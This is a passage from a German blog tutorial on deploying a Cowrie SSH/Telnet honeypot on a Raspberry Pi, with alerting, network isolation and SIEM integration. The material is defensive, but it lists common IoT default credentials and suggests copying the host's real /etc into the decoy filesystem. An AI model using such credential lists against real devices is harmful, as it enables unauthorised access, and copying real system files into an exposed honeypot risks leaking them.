Benachrichtigung bei ungewöhnlichen Aktivitäten:

#!/bin/bash
# /home/cowrie/alert-check.sh

LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"
ALERT_FILE="/tmp/honeypot_alerts"

# Prüfe auf mehr als 100 Angriffe in der letzten Stunde
HOUR_AGO=$(date -d '1 hour ago' +%Y-%m-%dT%H:%M)
COUNT=$(grep -E "^.*$HOUR_AGO" $LOG_FILE | grep "login.failed" | wc -l)

if [ $COUNT -gt 100 ]; then
  echo "ALERT: $COUNT Angriffe in der letzten Stunde" | \
    mail -s "Honeypot Alert" admin@example.com
fi

# Prüfe auf erfolgreiche Logins von neuen IPs
NEW_SUCCESS=$(grep "login.success" $LOG_FILE | tail -5)
if [ ! -z "$NEW_SUCCESS" ]; then
  echo "Erfolgreiche Logins detected:\n$NEW_SUCCESS" | \
    mail -s "Honeypot: Successful Login" admin@example.com
fi

Log-Rotation und Archivierung

#!/bin/bash
# /home/cowrie/archive-logs.sh

COWRIE_LOGS="/home/cowrie/cowrie/var/log/cowrie"
ARCHIVE_DIR="/home/cowrie/archives"
DATE=$(date +%Y%m%d)

# Alte Logs archivieren
tar czf $ARCHIVE_DIR/cowrie_$DATE.tar.gz -C $COWRIE_LOGS .

# Zu S3 oder externem Speicher hochladen (optional)
# aws s3 cp $ARCHIVE_DIR/cowrie_$DATE.tar.gz s3://honeypot-logs/

# Lokale Logs älter als 7 Tage löschen
find $COWRIE_LOGS -name "*.json" -mtime +7 -delete
find $COWRIE_LOGS -name "*.log" -mtime +7 -delete

# Archive älter als 90 Tage löschen
find $ARCHIVE_DIR -name "cowrie_*.tar.gz" -mtime +90 -delete

Netzwerk-Architektur für produktive Honeypots

DMZ-Konfiguration

Für einen sicheren Betrieb empfiehlt sich eine DMZ (Demilitarized Zone):

[Internet] --- [Firewall] --- [DMZ: Honeypot]
                      |
                      +------ [LAN: Produktivsysteme]

Firewall-Regeln:

# Eingehend: Nur SSH erlaubt
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -j DROP

# Ausgehend: Nur notwendige Verbindungen
iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT  # DNS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT  # DNS
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT  # HTTP (für Updates)
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT # HTTPS
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP    # Kein Zugriff auf LAN
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP        # Kein Zugriff auf LAN

VLAN-Isolation

Mit managed Switches kannst du VLANs für strenge Isolation nutzen:

VLAN 10: Management (Port 1-4)
VLAN 20: Honeypot (Port 5)
VLAN 30: Produktion (Port 6-24)

Keine Inter-VLAN-Routing zwischen Honeypot und Produktion!

VPN-Tunnel für Remote-Zugriff

Anstatt den Honeypot direkt aus dem Internet administrierbar zu machen:

# WireGuard-Server auf separatem System
# Honeypot hat nur den WireGuard-Client

# WireGuard-Config auf Honeypot
[Interface]
PrivateKey = <honeypot-private-key>
Address = 10.200.200.2/24

[Peer]
PublicKey = <server-public-key>
AllowedIPs = 10.200.200.1/32
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25

Fortgeschrittene Cowrie-Features

Proxy-Mode für echte Systeme

Cowrie kann als transparente Brücke zu einem echten System dienen:

[honeypot]
backend = user
backend_user = realuser
backend_pass = realpass

Achtung: Diese Konfiguration ist riskant und nur für fortgeschrittene Nutzer empfohlen!

Custom Commands

Eigene Befehle implementieren:

# cowrie/commands/custom.py
from cowrie.shell.command import HoneyPotCommand

class Command_custom(HoneyPotCommand):
    def call(self):
        self.write("Custom honeypot response\n")
        # Logge den Zugriff
        self.protocol.logDispatch(eventid='cowrie.command.custom')

commands = {'/usr/bin/custom': Command_custom}

File System Customization

Ein realistischeres Dateisystem erstellen:

# Echtes Ubuntu-Dateisystem kopieren
mkdir -p share/cowrie/custom_fs
cp -r /bin share/cowrie/custom_fs/
cp -r /etc share/cowrie/custom_fs/
cp -r /lib share/cowrie/custom_fs/

# Pickle-Datei generieren
python3 bin/fsctl share/cowrie/custom_fs.pickle create
python3 bin/fsctl share/cowrie/custom_fs.pickle import share/cowrie/custom_fs/

Telnet-Deep-Dive

Telnet-Honeypots sind besonders interessant für IoT-Botnet-Forschung:

[telnet]
enabled = true
port = 23

# Realistische Banner
[telnet_banner]
enabled = true
banner = "\r\nWelcome to Ubuntu 22.04 LTS\r\n\r\nlogin: "

Häufige IoT-Credentials, die du emulieren solltest:

admin:admin
root:root
support:support
user:user
guest:guest
admin:password
root:123456
admin:1234
root:admin

Integration mit Home Lab und Security Stacks

Wazuh SIEM-Integration

Wazuh kann Cowrie-Logs direkt verarbeiten:

<group name="cowrie,">
  <rule id="100001" level="5">
    <decoded_as>cowrie</decoded_as>
    <description>Cowrie SSH Honeypot Event</description>
  </rule>
  
  <rule id="100002" level="10">
    <if_sid>100001</if_sid>
    <match>login.success</match>
    <description>Successful Honeypot Login - Possible Breach</description>
  </rule>
</group>

Grafana-Dashboard

Visualisiere Honeypot-Daten in Echtzeit:

{
  "dashboard": {
    "title": "Cowrie Honeypot Dashboard",
    "panels": [
      {
        "title": "Login Attempts per Hour",
        "type": "graph",
        "targets": [
          {
            "expr": "sum(rate(cowrie_login_failed[1h]))"
          }
        ]
      }
    ]
  }
}

PfSense-Integration

Exportiere Honeypot-Daten zu PfSense für automatische Blockierung:

#!/bin/bash
# Exportiere böswillige IPs für PfSense

cat /home/cowrie/cowrie/var/log/cowrie/cowrie.json | \
  jq -r 'select(.eventid == "cowrie.login.success") | .src_ip' | \
  sort -u > /tmp/malicious_ips.txt

# Übertrage zu PfSense Alias
scp /tmp/malicious_ips.txt admin@pfsense:/tmp/

Schlussfolgerung und nächste Schritte

Die Einrichtung eines SSH Honeypots mit Cowrie auf einem Raspberry Pi ist ein lohnendes Projekt für jeden, der sich für IT-Sicherheit interessiert. Die gesammelten Daten geben nicht nur Einblick in die aktuelle Bedrohungslage, sondern trainieren auch das Verständnis für Angriffsmuster und Verteidigungsstrategien.

Dein nächster Schritt: Starte heute noch mit der Installation. Die gesamte Einrichtung dauert weniger als eine Stunde, die Erkenntnisse werden dich jedoch Jahre begleiten.

Langfristige Perspektiven:

  • Betreibe mehrere Honeypots an verschiedenen Standorten
  • Veröffentliche deine Ergebnisse in der Community
  • Entwickle eigene Honeypot-Erweiterungen
  • Nutze die gesammelten Daten für wissenschaftliche Arbeiten

Das Wissen über Cyberbedrohungen ist die beste Voraussetzung für effektiven Schutz. Dein Honeypot ist der erste Schritt zu einem tieferen Verständnis der digitalen Bedrohungslandschaft 2026.

Ressourcen-Checkliste:

  • Raspberry Pi mit Netzteil
  • microSD-Karte (16GB+)
  • Ethernet-Verbindung
  • Router-Zugang für Port-Forwarding
  • Statische IP oder DynDNS
  • Zeit für Einrichtung (ca. 1 Stunde)
  • Neugierde auf Cybersecurity

Willkommen in der Welt der Honeypot-Forschung!

Glossar: Wichtige Begriffe im Honeypot-Umfeld

Honeypot: Ein als Köder dienendes Computersystem, das dazu dient, Angriffe zu erkennen und zu analysieren.

High-Interaction Honeypot: Ein Honeypot, der Angreifern ein echtes Betriebssystem mit echten Schwachstellen bietet. Hohes Risiko, aber maximale Datenqualität.

Low-Interaction Honeypot: Ein Honeypot, der nur ausgewählte Dienste emuliert. Geringeres Risiko, aber begrenzte Interaktionsmöglichkeiten.

Medium-Interaction Honeypot: Ein Kompromiss zwischen High und Low-Interaction, wie Cowrie es darstellt.

Brute-Force-Attacke: Ein Angriff, bei dem systematisch alle möglichen Passwortkombinationen ausprobiert werden.

Dictionary Attack: Ein Angriff, der eine Liste bekannter Passwörter (Wörterbuch) ausprobiert.

Credential Stuffing: Die Verwendung gestohlener Login-Daten aus anderen Datenlecks.

Botnet: Ein Netzwerk infizierter Computer, das von Cyberkriminellen kontrolliert wird.

C2 (Command and Control): Server, die Botnets steuern.

IOC (Indicator of Compromise): Spuren, die auf einen Sicherheitsvorfall hindeuten.

TTP (Tactics, Techniques, and Procedures): Die Methoden, die Angreifer verwenden.

Threat Intelligence: Informationen über Bedrohungen, die zur Verbesserung der Sicherheit genutzt werden.

Deception Technology: Technologien, die Angreifer täuschen und aufhalten sollen.

DMZ (Demilitarized Zone): Ein isoliertes Netzwerksegment für öffentlich zugängliche Systeme.

Egress Filtering: Kontrolle ausgehender Netzwerkverbindungen.

SIEM (Security Information and Event Management): Systeme zur Sammlung und Analyse von Sicherheitsereignissen.

SOAR (Security Orchestration, Automation and Response): Automatisierung von Sicherheitsprozessen.

Empfohlene Produkte (Affiliate-Links — für dich keine Mehrkosten)

Versionshistorie und Aktualisierungen

April 2026 - Version 2.0

  • Aktualisiert für Cowrie 2.6.0
  • Neue ELK-Stack-Integration
  • Erweiterte Docker-Instruktionen
  • Raspberry Pi 5 Kompatibilität

Januar 2026 - Version 1.5

  • Wazuh-Integration hinzugefügt
  • Neue Analyse-Skripte
  • Verbesserte Troubleshooting-Sektion

Oktober 2025 - Version 1.0

  • Erste Veröffentlichung
  • Grundlegende Installation und Konfiguration
© 2012 - 2026 kalika - Katja – Linus – Karsten
Erstellt mit Hugo
Theme Stack von Jimmy